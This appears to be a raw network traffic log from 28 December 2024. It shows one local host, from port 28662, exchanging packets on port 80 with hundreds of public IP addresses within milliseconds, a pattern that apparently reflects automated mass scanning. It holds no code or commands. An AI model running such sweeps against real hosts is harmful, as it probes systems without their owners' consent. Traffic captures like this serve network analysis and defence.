Dec 28, 2024 20:41:50.385992050 CET	28662	80	192.168.2.23	219.78.103.106
Dec 28, 2024 20:41:50.385994911 CET	80	28662	24.27.39.68	192.168.2.23
Dec 28, 2024 20:41:50.386008978 CET	80	28662	202.8.93.107	192.168.2.23
Dec 28, 2024 20:41:50.386008978 CET	28662	80	192.168.2.23	206.156.133.166
Dec 28, 2024 20:41:50.386009932 CET	28662	80	192.168.2.23	95.182.251.71
Dec 28, 2024 20:41:50.386025906 CET	80	28662	119.211.237.76	192.168.2.23
Dec 28, 2024 20:41:50.386035919 CET	80	28662	58.209.133.190	192.168.2.23
Dec 28, 2024 20:41:50.386040926 CET	80	28662	63.241.159.230	192.168.2.23
Dec 28, 2024 20:41:50.386042118 CET	28662	80	192.168.2.23	24.27.39.68
Dec 28, 2024 20:41:50.386043072 CET	28662	80	192.168.2.23	98.199.216.38
Dec 28, 2024 20:41:50.386043072 CET	28662	80	192.168.2.23	202.8.93.107
Dec 28, 2024 20:41:50.386050940 CET	80	28662	208.221.189.152	192.168.2.23
Dec 28, 2024 20:41:50.386075020 CET	80	28662	151.44.143.255	192.168.2.23
Dec 28, 2024 20:41:50.386075974 CET	28662	80	192.168.2.23	119.211.237.76
Dec 28, 2024 20:41:50.386084080 CET	80	28662	218.193.23.124	192.168.2.23
Dec 28, 2024 20:41:50.386091948 CET	28662	80	192.168.2.23	58.209.133.190
Dec 28, 2024 20:41:50.386092901 CET	80	28662	32.193.64.63	192.168.2.23
Dec 28, 2024 20:41:50.386096954 CET	28662	80	192.168.2.23	63.241.159.230
Dec 28, 2024 20:41:50.386101961 CET	28662	80	192.168.2.23	208.221.189.152
Dec 28, 2024 20:41:50.386109114 CET	80	28662	124.88.10.9	192.168.2.23
Dec 28, 2024 20:41:50.386117935 CET	80	28662	210.222.231.4	192.168.2.23
Dec 28, 2024 20:41:50.386126995 CET	28662	80	192.168.2.23	218.193.23.124
Dec 28, 2024 20:41:50.386127949 CET	80	28662	111.185.205.125	192.168.2.23
Dec 28, 2024 20:41:50.386136055 CET	28662	80	192.168.2.23	151.44.143.255
Dec 28, 2024 20:41:50.386136055 CET	28662	80	192.168.2.23	32.193.64.63
Dec 28, 2024 20:41:50.386137962 CET	80	28662	115.195.166.238	192.168.2.23
Dec 28, 2024 20:41:50.386153936 CET	80	28662	166.214.108.167	192.168.2.23
Dec 28, 2024 20:41:50.386156082 CET	28662	80	192.168.2.23	124.88.10.9
Dec 28, 2024 20:41:50.386157036 CET	28662	80	192.168.2.23	111.185.205.125
Dec 28, 2024 20:41:50.386157036 CET	28662	80	192.168.2.23	210.222.231.4
Dec 28, 2024 20:41:50.386163950 CET	80	28662	216.61.73.48	192.168.2.23
Dec 28, 2024 20:41:50.386194944 CET	28662	80	192.168.2.23	216.61.73.48
Dec 28, 2024 20:41:50.386194944 CET	28662	80	192.168.2.23	115.195.166.238
Dec 28, 2024 20:41:50.386197090 CET	28662	80	192.168.2.23	166.214.108.167
Dec 28, 2024 20:41:50.386296988 CET	80	28662	63.177.94.145	192.168.2.23
Dec 28, 2024 20:41:50.386307001 CET	80	28662	60.29.140.145	192.168.2.23
Dec 28, 2024 20:41:50.386315107 CET	80	28662	207.63.164.139	192.168.2.23
Dec 28, 2024 20:41:50.386323929 CET	80	28662	176.133.237.115	192.168.2.23
Dec 28, 2024 20:41:50.386327982 CET	80	28662	186.130.150.149	192.168.2.23
Dec 28, 2024 20:41:50.386329889 CET	28662	80	192.168.2.23	63.177.94.145
Dec 28, 2024 20:41:50.386337996 CET	80	28662	105.29.144.38	192.168.2.23
Dec 28, 2024 20:41:50.386347055 CET	80	28662	173.25.98.59	192.168.2.23
Dec 28, 2024 20:41:50.386356115 CET	80	28662	2.143.127.218	192.168.2.23
Dec 28, 2024 20:41:50.386356115 CET	28662	80	192.168.2.23	176.133.237.115
Dec 28, 2024 20:41:50.386360884 CET	28662	80	192.168.2.23	60.29.140.145
Dec 28, 2024 20:41:50.386360884 CET	28662	80	192.168.2.23	207.63.164.139
Dec 28, 2024 20:41:50.386363029 CET	28662	80	192.168.2.23	186.130.150.149
Dec 28, 2024 20:41:50.386365891 CET	80	28662	9.180.216.17	192.168.2.23
Dec 28, 2024 20:41:50.386374950 CET	80	28662	115.215.1.149	192.168.2.23
Dec 28, 2024 20:41:50.386378050 CET	28662	80	192.168.2.23	105.29.144.38
Dec 28, 2024 20:41:50.386387110 CET	28662	80	192.168.2.23	173.25.98.59
Dec 28, 2024 20:41:50.386387110 CET	28662	80	192.168.2.23	2.143.127.218
Dec 28, 2024 20:41:50.386420965 CET	28662	80	192.168.2.23	115.215.1.149
Dec 28, 2024 20:41:50.386431932 CET	28662	80	192.168.2.23	9.180.216.17
Dec 28, 2024 20:41:50.386934042 CET	80	28662	93.51.102.130	192.168.2.23
Dec 28, 2024 20:41:50.386945963 CET	80	28662	99.189.52.37	192.168.2.23
Dec 28, 2024 20:41:50.386957884 CET	80	28662	5.14.181.16	192.168.2.23
Dec 28, 2024 20:41:50.386962891 CET	80	28662	71.134.217.37	192.168.2.23
Dec 28, 2024 20:41:50.386971951 CET	28662	80	192.168.2.23	93.51.102.130
Dec 28, 2024 20:41:50.386990070 CET	28662	80	192.168.2.23	71.134.217.37
Dec 28, 2024 20:41:50.386992931 CET	28662	80	192.168.2.23	5.14.181.16
Dec 28, 2024 20:41:50.387001991 CET	80	28662	85.106.155.85	192.168.2.23
Dec 28, 2024 20:41:50.387012959 CET	80	28662	125.200.5.25	192.168.2.23
Dec 28, 2024 20:41:50.387016058 CET	28662	80	192.168.2.23	99.189.52.37
Dec 28, 2024 20:41:50.387021065 CET	80	28662	9.137.45.70	192.168.2.23
Dec 28, 2024 20:41:50.387031078 CET	80	28662	61.190.54.12	192.168.2.23
Dec 28, 2024 20:41:50.387043953 CET	80	28662	143.220.210.107	192.168.2.23
Dec 28, 2024 20:41:50.387048960 CET	80	28662	139.32.223.60	192.168.2.23
Dec 28, 2024 20:41:50.387054920 CET	28662	80	192.168.2.23	9.137.45.70
Dec 28, 2024 20:41:50.387056112 CET	80	28662	126.178.8.242	192.168.2.23
Dec 28, 2024 20:41:50.387057066 CET	28662	80	192.168.2.23	85.106.155.85
Dec 28, 2024 20:41:50.387057066 CET	28662	80	192.168.2.23	125.200.5.25
Dec 28, 2024 20:41:50.387061119 CET	28662	80	192.168.2.23	61.190.54.12
Dec 28, 2024 20:41:50.387065887 CET	80	28662	45.196.239.38	192.168.2.23
Dec 28, 2024 20:41:50.387068033 CET	28662	80	192.168.2.23	143.220.210.107
Dec 28, 2024 20:41:50.387075901 CET	80	28662	176.190.2.11	192.168.2.23
Dec 28, 2024 20:41:50.387087107 CET	28662	80	192.168.2.23	139.32.223.60
Dec 28, 2024 20:41:50.387104034 CET	28662	80	192.168.2.23	45.196.239.38
Dec 28, 2024 20:41:50.387104034 CET	28662	80	192.168.2.23	176.190.2.11
Dec 28, 2024 20:41:50.387106895 CET	28662	80	192.168.2.23	126.178.8.242
Dec 28, 2024 20:41:50.387121916 CET	80	28662	200.8.133.169	192.168.2.23
Dec 28, 2024 20:41:50.387162924 CET	80	28662	109.73.37.48	192.168.2.23
Dec 28, 2024 20:41:50.387171984 CET	28662	80	192.168.2.23	200.8.133.169
Dec 28, 2024 20:41:50.387222052 CET	28662	80	192.168.2.23	109.73.37.48
Dec 28, 2024 20:41:50.387227058 CET	80	28662	207.122.118.244	192.168.2.23
Dec 28, 2024 20:41:50.387232065 CET	80	28662	212.156.26.225	192.168.2.23
Dec 28, 2024 20:41:50.387237072 CET	80	28662	47.132.253.214	192.168.2.23
Dec 28, 2024 20:41:50.387240887 CET	80	28662	36.128.22.97	192.168.2.23
Dec 28, 2024 20:41:50.387245893 CET	80	28662	198.153.84.141	192.168.2.23
Dec 28, 2024 20:41:50.387262106 CET	28662	80	192.168.2.23	207.122.118.244
Dec 28, 2024 20:41:50.387267113 CET	28662	80	192.168.2.23	212.156.26.225
Dec 28, 2024 20:41:50.387267113 CET	28662	80	192.168.2.23	47.132.253.214
Dec 28, 2024 20:41:50.387286901 CET	28662	80	192.168.2.23	36.128.22.97
Dec 28, 2024 20:41:50.387290001 CET	28662	80	192.168.2.23	198.153.84.141
Dec 28, 2024 20:41:50.387409925 CET	80	28662	212.70.212.103	192.168.2.23
Dec 28, 2024 20:41:50.387419939 CET	80	28662	213.237.37.52	192.168.2.23
Dec 28, 2024 20:41:50.387428999 CET	80	28662	64.161.140.145	192.168.2.23
Dec 28, 2024 20:41:50.387439966 CET	80	28662	115.45.218.132	192.168.2.23
Dec 28, 2024 20:41:50.387449980 CET	80	28662	193.55.247.34	192.168.2.23
Dec 28, 2024 20:41:50.387454987 CET	28662	80	192.168.2.23	212.70.212.103
Dec 28, 2024 20:41:50.387459993 CET	80	28662	105.81.2.204	192.168.2.23
Dec 28, 2024 20:41:50.387463093 CET	28662	80	192.168.2.23	64.161.140.145
Dec 28, 2024 20:41:50.387465000 CET	28662	80	192.168.2.23	213.237.37.52
Dec 28, 2024 20:41:50.387469053 CET	80	28662	165.211.194.185	192.168.2.23
Dec 28, 2024 20:41:50.387476921 CET	80	28662	111.170.93.161	192.168.2.23
Dec 28, 2024 20:41:50.387481928 CET	28662	80	192.168.2.23	193.55.247.34
Dec 28, 2024 20:41:50.387485027 CET	28662	80	192.168.2.23	115.45.218.132
Dec 28, 2024 20:41:50.387491941 CET	28662	80	192.168.2.23	165.211.194.185
Dec 28, 2024 20:41:50.387518883 CET	28662	80	192.168.2.23	105.81.2.204
Dec 28, 2024 20:41:50.387520075 CET	28662	80	192.168.2.23	111.170.93.161
Dec 28, 2024 20:41:50.387897015 CET	80	28662	145.98.45.66	192.168.2.23
Dec 28, 2024 20:41:50.387932062 CET	28662	80	192.168.2.23	145.98.45.66
Dec 28, 2024 20:41:50.387963057 CET	80	28662	152.173.163.139	192.168.2.23
Dec 28, 2024 20:41:50.387973070 CET	80	28662	207.20.106.233	192.168.2.23
Dec 28, 2024 20:41:50.387983084 CET	80	28662	20.189.105.31	192.168.2.23
Dec 28, 2024 20:41:50.387991905 CET	80	28662	76.115.16.228	192.168.2.23
Dec 28, 2024 20:41:50.388009071 CET	80	28662	138.94.164.106	192.168.2.23
Dec 28, 2024 20:41:50.388010025 CET	28662	80	192.168.2.23	152.173.163.139
Dec 28, 2024 20:41:50.388010025 CET	28662	80	192.168.2.23	207.20.106.233
Dec 28, 2024 20:41:50.388012886 CET	28662	80	192.168.2.23	20.189.105.31
Dec 28, 2024 20:41:50.388019085 CET	80	28662	172.33.210.159	192.168.2.23
Dec 28, 2024 20:41:50.388027906 CET	80	28662	222.133.227.21	192.168.2.23
Dec 28, 2024 20:41:50.388031960 CET	28662	80	192.168.2.23	76.115.16.228
Dec 28, 2024 20:41:50.388040066 CET	80	28662	140.156.141.208	192.168.2.23
Dec 28, 2024 20:41:50.388051033 CET	80	28662	96.28.55.30	192.168.2.23
Dec 28, 2024 20:41:50.388057947 CET	28662	80	192.168.2.23	138.94.164.106
Dec 28, 2024 20:41:50.388061047 CET	80	28662	196.195.205.126	192.168.2.23
Dec 28, 2024 20:41:50.388066053 CET	28662	80	192.168.2.23	172.33.210.159
Dec 28, 2024 20:41:50.388066053 CET	28662	80	192.168.2.23	222.133.227.21
Dec 28, 2024 20:41:50.388071060 CET	80	28662	191.109.56.78	192.168.2.23
Dec 28, 2024 20:41:50.388086081 CET	28662	80	192.168.2.23	140.156.141.208
Dec 28, 2024 20:41:50.388087988 CET	80	28662	121.7.195.79	192.168.2.23
Dec 28, 2024 20:41:50.388087034 CET	28662	80	192.168.2.23	96.28.55.30
Dec 28, 2024 20:41:50.388093948 CET	28662	80	192.168.2.23	196.195.205.126
Dec 28, 2024 20:41:50.388096094 CET	28662	80	192.168.2.23	191.109.56.78
Dec 28, 2024 20:41:50.388097048 CET	80	28662	148.196.148.94	192.168.2.23
Dec 28, 2024 20:41:50.388107061 CET	80	28662	207.161.31.157	192.168.2.23
Dec 28, 2024 20:41:50.388115883 CET	80	28662	123.240.57.90	192.168.2.23
Dec 28, 2024 20:41:50.388123989 CET	80	28662	67.233.39.215	192.168.2.23
Dec 28, 2024 20:41:50.388130903 CET	28662	80	192.168.2.23	148.196.148.94
Dec 28, 2024 20:41:50.388132095 CET	28662	80	192.168.2.23	121.7.195.79
Dec 28, 2024 20:41:50.388135910 CET	80	28662	47.79.121.179	192.168.2.23
Dec 28, 2024 20:41:50.388144970 CET	80	28662	67.160.205.141	192.168.2.23
Dec 28, 2024 20:41:50.388145924 CET	28662	80	192.168.2.23	207.161.31.157
Dec 28, 2024 20:41:50.388155937 CET	80	28662	39.74.157.205	192.168.2.23
Dec 28, 2024 20:41:50.388156891 CET	28662	80	192.168.2.23	67.233.39.215
Dec 28, 2024 20:41:50.388165951 CET	80	28662	67.111.156.239	192.168.2.23
Dec 28, 2024 20:41:50.388174057 CET	28662	80	192.168.2.23	123.240.57.90
Dec 28, 2024 20:41:50.388175011 CET	80	28662	153.105.133.14	192.168.2.23
Dec 28, 2024 20:41:50.388174057 CET	28662	80	192.168.2.23	47.79.121.179
Dec 28, 2024 20:41:50.388185978 CET	80	28662	107.32.62.9	192.168.2.23
Dec 28, 2024 20:41:50.388195992 CET	28662	80	192.168.2.23	67.160.205.141
Dec 28, 2024 20:41:50.388195992 CET	28662	80	192.168.2.23	39.74.157.205
Dec 28, 2024 20:41:50.388197899 CET	28662	80	192.168.2.23	67.111.156.239
Dec 28, 2024 20:41:50.388204098 CET	80	28662	129.109.178.131	192.168.2.23
Dec 28, 2024 20:41:50.388211966 CET	80	28662	204.253.192.148	192.168.2.23
Dec 28, 2024 20:41:50.388215065 CET	28662	80	192.168.2.23	107.32.62.9
Dec 28, 2024 20:41:50.388219118 CET	28662	80	192.168.2.23	153.105.133.14
Dec 28, 2024 20:41:50.388221025 CET	80	28662	93.97.205.250	192.168.2.23
Dec 28, 2024 20:41:50.388230085 CET	80	28662	122.69.214.63	192.168.2.23
Dec 28, 2024 20:41:50.388233900 CET	80	28662	102.246.117.7	192.168.2.23
Dec 28, 2024 20:41:50.388251066 CET	28662	80	192.168.2.23	129.109.178.131
Dec 28, 2024 20:41:50.388251066 CET	28662	80	192.168.2.23	204.253.192.148
Dec 28, 2024 20:41:50.388259888 CET	28662	80	192.168.2.23	102.246.117.7
Dec 28, 2024 20:41:50.388261080 CET	28662	80	192.168.2.23	93.97.205.250
Dec 28, 2024 20:41:50.388264894 CET	28662	80	192.168.2.23	122.69.214.63
Dec 28, 2024 20:41:50.388792992 CET	80	28662	43.245.189.36	192.168.2.23
Dec 28, 2024 20:41:50.388833046 CET	28662	80	192.168.2.23	43.245.189.36
Dec 28, 2024 20:41:50.388860941 CET	80	28662	193.38.72.90	192.168.2.23
Dec 28, 2024 20:41:50.388870955 CET	80	28662	212.189.229.9	192.168.2.23
Dec 28, 2024 20:41:50.388880968 CET	80	28662	182.107.42.56	192.168.2.23
Dec 28, 2024 20:41:50.388894081 CET	80	28662	71.212.38.236	192.168.2.23
Dec 28, 2024 20:41:50.388904095 CET	80	28662	135.17.205.14	192.168.2.23
Dec 28, 2024 20:41:50.388905048 CET	28662	80	192.168.2.23	193.38.72.90
Dec 28, 2024 20:41:50.388906002 CET	28662	80	192.168.2.23	212.189.229.9
Dec 28, 2024 20:41:50.388912916 CET	80	28662	185.177.112.167	192.168.2.23
Dec 28, 2024 20:41:50.388923883 CET	28662	80	192.168.2.23	182.107.42.56
Dec 28, 2024 20:41:50.388928890 CET	28662	80	192.168.2.23	71.212.38.236
Dec 28, 2024 20:41:50.388931036 CET	80	28662	17.45.19.222	192.168.2.23
Dec 28, 2024 20:41:50.388931990 CET	28662	80	192.168.2.23	135.17.205.14
Dec 28, 2024 20:41:50.388943911 CET	80	28662	132.122.65.123	192.168.2.23
Dec 28, 2024 20:41:50.388947010 CET	28662	80	192.168.2.23	185.177.112.167
Dec 28, 2024 20:41:50.388953924 CET	80	28662	40.178.9.140	192.168.2.23
Dec 28, 2024 20:41:50.388967037 CET	80	28662	111.12.106.113	192.168.2.23
Dec 28, 2024 20:41:50.388976097 CET	80	28662	31.16.119.82	192.168.2.23
Dec 28, 2024 20:41:50.388984919 CET	80	28662	109.83.116.45	192.168.2.23
Dec 28, 2024 20:41:50.388988018 CET	28662	80	192.168.2.23	132.122.65.123
Dec 28, 2024 20:41:50.388988972 CET	28662	80	192.168.2.23	17.45.19.222
Dec 28, 2024 20:41:50.388993025 CET	28662	80	192.168.2.23	40.178.9.140
Dec 28, 2024 20:41:50.388993979 CET	80	28662	152.15.221.123	192.168.2.23
Dec 28, 2024 20:41:50.389002085 CET	28662	80	192.168.2.23	111.12.106.113
Dec 28, 2024 20:41:50.389004946 CET	80	28662	111.85.104.242	192.168.2.23
Dec 28, 2024 20:41:50.389005899 CET	28662	80	192.168.2.23	31.16.119.82
Dec 28, 2024 20:41:50.389014959 CET	80	28662	149.136.35.162	192.168.2.23
Dec 28, 2024 20:41:50.389024973 CET	80	28662	89.126.82.192	192.168.2.23
Dec 28, 2024 20:41:50.389030933 CET	28662	80	192.168.2.23	111.85.104.242
Dec 28, 2024 20:41:50.389034033 CET	80	28662	57.216.35.192	192.168.2.23
Dec 28, 2024 20:41:50.389034986 CET	28662	80	192.168.2.23	152.15.221.123
Dec 28, 2024 20:41:50.389035940 CET	28662	80	192.168.2.23	109.83.116.45
Dec 28, 2024 20:41:50.389044046 CET	80	28662	58.118.125.239	192.168.2.23
Dec 28, 2024 20:41:50.389053106 CET	80	28662	18.225.147.155	192.168.2.23
Dec 28, 2024 20:41:50.389055014 CET	28662	80	192.168.2.23	149.136.35.162
Dec 28, 2024 20:41:50.389075994 CET	80	28662	98.241.160.80	192.168.2.23
Dec 28, 2024 20:41:50.389077902 CET	28662	80	192.168.2.23	57.216.35.192
Dec 28, 2024 20:41:50.389081001 CET	28662	80	192.168.2.23	58.118.125.239
Dec 28, 2024 20:41:50.389084101 CET	28662	80	192.168.2.23	89.126.82.192
Dec 28, 2024 20:41:50.389087915 CET	80	28662	77.4.113.105	192.168.2.23
Dec 28, 2024 20:41:50.389092922 CET	28662	80	192.168.2.23	18.225.147.155
Dec 28, 2024 20:41:50.389097929 CET	80	28662	170.38.254.46	192.168.2.23
Dec 28, 2024 20:41:50.389106989 CET	80	28662	14.146.68.100	192.168.2.23
Dec 28, 2024 20:41:50.389108896 CET	28662	80	192.168.2.23	98.241.160.80
Dec 28, 2024 20:41:50.389117002 CET	80	28662	180.220.75.20	192.168.2.23
Dec 28, 2024 20:41:50.389122009 CET	28662	80	192.168.2.23	77.4.113.105
Dec 28, 2024 20:41:50.389127016 CET	80	28662	62.147.164.213	192.168.2.23
Dec 28, 2024 20:41:50.389132977 CET	28662	80	192.168.2.23	14.146.68.100
Dec 28, 2024 20:41:50.389132977 CET	28662	80	192.168.2.23	170.38.254.46
Dec 28, 2024 20:41:50.389137030 CET	80	28662	77.128.112.110	192.168.2.23
Dec 28, 2024 20:41:50.389147043 CET	80	28662	191.106.56.253	192.168.2.23
Dec 28, 2024 20:41:50.389161110 CET	28662	80	192.168.2.23	180.220.75.20
Dec 28, 2024 20:41:50.389162064 CET	28662	80	192.168.2.23	62.147.164.213
Dec 28, 2024 20:41:50.389177084 CET	28662	80	192.168.2.23	191.106.56.253
Dec 28, 2024 20:41:50.389183044 CET	28662	80	192.168.2.23	77.128.112.110
Dec 28, 2024 20:41:50.389698029 CET	80	28662	82.213.212.28	192.168.2.23
Dec 28, 2024 20:41:50.389708042 CET	80	28662	98.70.125.112	192.168.2.23
Dec 28, 2024 20:41:50.389717102 CET	80	28662	208.1.206.100	192.168.2.23
Dec 28, 2024 20:41:50.389731884 CET	28662	80	192.168.2.23	98.70.125.112
Dec 28, 2024 20:41:50.389740944 CET	28662	80	192.168.2.23	208.1.206.100
Dec 28, 2024 20:41:50.389743090 CET	28662	80	192.168.2.23	82.213.212.28
Dec 28, 2024 20:41:50.389779091 CET	80	28662	119.168.132.94	192.168.2.23
Dec 28, 2024 20:41:50.389789104 CET	80	28662	76.94.173.255	192.168.2.23
Dec 28, 2024 20:41:50.389797926 CET	80	28662	96.11.232.94	192.168.2.23
Dec 28, 2024 20:41:50.389806986 CET	80	28662	41.63.227.45	192.168.2.23
Dec 28, 2024 20:41:50.389816999 CET	28662	80	192.168.2.23	119.168.132.94
Dec 28, 2024 20:41:50.389830112 CET	28662	80	192.168.2.23	76.94.173.255
Dec 28, 2024 20:41:50.389837027 CET	80	28662	60.130.47.235	192.168.2.23
Dec 28, 2024 20:41:50.389837980 CET	28662	80	192.168.2.23	96.11.232.94
Dec 28, 2024 20:41:50.389842033 CET	28662	80	192.168.2.23	41.63.227.45
Dec 28, 2024 20:41:50.389847994 CET	80	28662	19.38.221.87	192.168.2.23
Dec 28, 2024 20:41:50.389857054 CET	80	28662	144.195.77.57	192.168.2.23
Dec 28, 2024 20:41:50.389868021 CET	80	28662	173.255.150.46	192.168.2.23
Dec 28, 2024 20:41:50.389890909 CET	28662	80	192.168.2.23	60.130.47.235
Dec 28, 2024 20:41:50.389890909 CET	28662	80	192.168.2.23	144.195.77.57
Dec 28, 2024 20:41:50.389893055 CET	28662	80	192.168.2.23	173.255.150.46
Dec 28, 2024 20:41:50.389893055 CET	28662	80	192.168.2.23	19.38.221.87
Dec 28, 2024 20:41:50.389921904 CET	80	28662	174.2.45.195	192.168.2.23
Dec 28, 2024 20:41:50.389931917 CET	80	28662	190.118.64.231	192.168.2.23
Dec 28, 2024 20:41:50.389940023 CET	80	28662	154.212.7.233	192.168.2.23
Dec 28, 2024 20:41:50.389949083 CET	80	28662	34.99.78.237	192.168.2.23
Dec 28, 2024 20:41:50.389966011 CET	28662	80	192.168.2.23	190.118.64.231
Dec 28, 2024 20:41:50.389966965 CET	28662	80	192.168.2.23	174.2.45.195
Dec 28, 2024 20:41:50.389969110 CET	28662	80	192.168.2.23	154.212.7.233
Dec 28, 2024 20:41:50.389972925 CET	80	28662	147.145.246.191	192.168.2.23
Dec 28, 2024 20:41:50.389983892 CET	80	28662	31.129.123.208	192.168.2.23
Dec 28, 2024 20:41:50.389987946 CET	28662	80	192.168.2.23	34.99.78.237
Dec 28, 2024 20:41:50.389996052 CET	80	28662	89.241.247.25	192.168.2.23
Dec 28, 2024 20:41:50.389997005 CET	28662	80	192.168.2.23	147.145.246.191
Dec 28, 2024 20:41:50.390032053 CET	28662	80	192.168.2.23	31.129.123.208
Dec 28, 2024 20:41:50.390033960 CET	28662	80	192.168.2.23	89.241.247.25
Dec 28, 2024 20:41:50.390037060 CET	80	28662	111.116.41.162	192.168.2.23
Dec 28, 2024 20:41:50.390053034 CET	80	28662	73.196.138.109	192.168.2.23
Dec 28, 2024 20:41:50.390060902 CET	80	28662	100.30.86.236	192.168.2.23
Dec 28, 2024 20:41:50.390078068 CET	28662	80	192.168.2.23	111.116.41.162
Dec 28, 2024 20:41:50.390078068 CET	28662	80	192.168.2.23	73.196.138.109
Dec 28, 2024 20:41:50.390100956 CET	28662	80	192.168.2.23	100.30.86.236
Dec 28, 2024 20:41:50.390109062 CET	80	28662	24.225.99.78	192.168.2.23
Dec 28, 2024 20:41:50.390119076 CET	80	28662	86.83.45.153	192.168.2.23
Dec 28, 2024 20:41:50.390126944 CET	80	28662	111.206.55.117	192.168.2.23
Dec 28, 2024 20:41:50.390136957 CET	80	28662	106.167.65.229	192.168.2.23
Dec 28, 2024 20:41:50.390151024 CET	28662	80	192.168.2.23	86.83.45.153
Dec 28, 2024 20:41:50.390151024 CET	80	28662	76.240.107.246	192.168.2.23
Dec 28, 2024 20:41:50.390156984 CET	80	28662	23.11.1.242	192.168.2.23
Dec 28, 2024 20:41:50.390157938 CET	28662	80	192.168.2.23	24.225.99.78
Dec 28, 2024 20:41:50.390158892 CET	28662	80	192.168.2.23	111.206.55.117
Dec 28, 2024 20:41:50.390161037 CET	80	28662	67.23.85.32	192.168.2.23
Dec 28, 2024 20:41:50.390166044 CET	28662	80	192.168.2.23	106.167.65.229
Dec 28, 2024 20:41:50.390168905 CET	28662	80	192.168.2.23	76.240.107.246
Dec 28, 2024 20:41:50.390178919 CET	28662	80	192.168.2.23	23.11.1.242
Dec 28, 2024 20:41:50.390199900 CET	28662	80	192.168.2.23	67.23.85.32
Dec 28, 2024 20:41:50.390562057 CET	80	28662	137.22.163.21	192.168.2.23
Dec 28, 2024 20:41:50.390571117 CET	80	28662	116.237.177.205	192.168.2.23
Dec 28, 2024 20:41:50.390582085 CET	80	28662	101.212.66.221	192.168.2.23
Dec 28, 2024 20:41:50.390590906 CET	80	28662	202.195.143.1	192.168.2.23
Dec 28, 2024 20:41:50.390608072 CET	80	28662	113.138.94.139	192.168.2.23
Dec 28, 2024 20:41:50.390608072 CET	28662	80	192.168.2.23	116.237.177.205
Dec 28, 2024 20:41:50.390608072 CET	28662	80	192.168.2.23	101.212.66.221
Dec 28, 2024 20:41:50.390616894 CET	80	28662	142.100.224.185	192.168.2.23
Dec 28, 2024 20:41:50.390626907 CET	80	28662	210.165.200.45	192.168.2.23
Dec 28, 2024 20:41:50.390628099 CET	28662	80	192.168.2.23	137.22.163.21
Dec 28, 2024 20:41:50.390631914 CET	28662	80	192.168.2.23	202.195.143.1
Dec 28, 2024 20:41:50.390636921 CET	80	28662	57.83.253.34	192.168.2.23
Dec 28, 2024 20:41:50.390650988 CET	28662	80	192.168.2.23	142.100.224.185
Dec 28, 2024 20:41:50.390651941 CET	28662	80	192.168.2.23	113.138.94.139
Dec 28, 2024 20:41:50.390654087 CET	80	28662	129.229.220.230	192.168.2.23
Dec 28, 2024 20:41:50.390670061 CET	28662	80	192.168.2.23	57.83.253.34
Dec 28, 2024 20:41:50.390674114 CET	28662	80	192.168.2.23	210.165.200.45
Dec 28, 2024 20:41:50.390683889 CET	80	28662	143.251.135.124	192.168.2.23
Dec 28, 2024 20:41:50.390692949 CET	80	28662	112.64.87.32	192.168.2.23
Dec 28, 2024 20:41:50.390700102 CET	28662	80	192.168.2.23	129.229.220.230
Dec 28, 2024 20:41:50.390716076 CET	28662	80	192.168.2.23	143.251.135.124
Dec 28, 2024 20:41:50.390731096 CET	80	28662	91.39.43.111	192.168.2.23
Dec 28, 2024 20:41:50.390742064 CET	80	28662	124.166.135.112	192.168.2.23
Dec 28, 2024 20:41:50.390746117 CET	28662	80	192.168.2.23	112.64.87.32
Dec 28, 2024 20:41:50.390753031 CET	80	28662	220.149.109.158	192.168.2.23
Dec 28, 2024 20:41:50.390767097 CET	28662	80	192.168.2.23	91.39.43.111
Dec 28, 2024 20:41:50.390778065 CET	80	28662	62.113.90.217	192.168.2.23
Dec 28, 2024 20:41:50.390788078 CET	80	28662	195.95.185.111	192.168.2.23
Dec 28, 2024 20:41:50.390795946 CET	80	28662	207.89.146.91	192.168.2.23
Dec 28, 2024 20:41:50.390795946 CET	28662	80	192.168.2.23	124.166.135.112
Dec 28, 2024 20:41:50.390805960 CET	28662	80	192.168.2.23	220.149.109.158
Dec 28, 2024 20:41:50.390805960 CET	80	28662	57.107.66.36	192.168.2.23
Dec 28, 2024 20:41:50.390810013 CET	28662	80	192.168.2.23	195.95.185.111
Dec 28, 2024 20:41:50.390811920 CET	28662	80	192.168.2.23	62.113.90.217
Dec 28, 2024 20:41:50.390816927 CET	80	28662	187.51.239.145	192.168.2.23
Dec 28, 2024 20:41:50.390825987 CET	80	28662	17.120.77.81	192.168.2.23
Dec 28, 2024 20:41:50.390829086 CET	28662	80	192.168.2.23	207.89.146.91
Dec 28, 2024 20:41:50.390846014 CET	28662	80	192.168.2.23	57.107.66.36
Dec 28, 2024 20:41:50.390846014 CET	28662	80	192.168.2.23	187.51.239.145
Dec 28, 2024 20:41:50.390851021 CET	28662	80	192.168.2.23	17.120.77.81
Dec 28, 2024 20:41:50.390893936 CET	80	28662	213.53.13.51	192.168.2.23
Dec 28, 2024 20:41:50.390903950 CET	80	28662	164.22.77.48	192.168.2.23
Dec 28, 2024 20:41:50.390913010 CET	80	28662	200.32.74.39	192.168.2.23
Dec 28, 2024 20:41:50.390923023 CET	80	28662	138.178.209.97	192.168.2.23
Dec 28, 2024 20:41:50.390928030 CET	80	28662	86.115.66.152	192.168.2.23
Dec 28, 2024 20:41:50.390935898 CET	28662	80	192.168.2.23	213.53.13.51
Dec 28, 2024 20:41:50.390935898 CET	28662	80	192.168.2.23	164.22.77.48
Dec 28, 2024 20:41:50.390937090 CET	80	28662	187.213.135.198	192.168.2.23
Dec 28, 2024 20:41:50.390947104 CET	80	28662	144.133.219.23	192.168.2.23
Dec 28, 2024 20:41:50.390952110 CET	28662	80	192.168.2.23	86.115.66.152
Dec 28, 2024 20:41:50.390959024 CET	28662	80	192.168.2.23	200.32.74.39
Dec 28, 2024 20:41:50.390959978 CET	80	28662	93.104.145.97	192.168.2.23
Dec 28, 2024 20:41:50.390960932 CET	28662	80	192.168.2.23	138.178.209.97
Dec 28, 2024 20:41:50.390978098 CET	28662	80	192.168.2.23	144.133.219.23
Dec 28, 2024 20:41:50.390980959 CET	28662	80	192.168.2.23	187.213.135.198
Dec 28, 2024 20:41:50.391010046 CET	28662	80	192.168.2.23	93.104.145.97
Dec 28, 2024 20:41:50.391410112 CET	80	28662	23.52.24.77	192.168.2.23
Dec 28, 2024 20:41:50.391419888 CET	80	28662	123.47.93.55	192.168.2.23
Dec 28, 2024 20:41:50.391449928 CET	28662	80	192.168.2.23	23.52.24.77
Dec 28, 2024 20:41:50.391458988 CET	80	28662	157.32.110.94	192.168.2.23
Dec 28, 2024 20:41:50.391460896 CET	28662	80	192.168.2.23	123.47.93.55
Dec 28, 2024 20:41:50.391469002 CET	80	28662	63.192.110.23	192.168.2.23
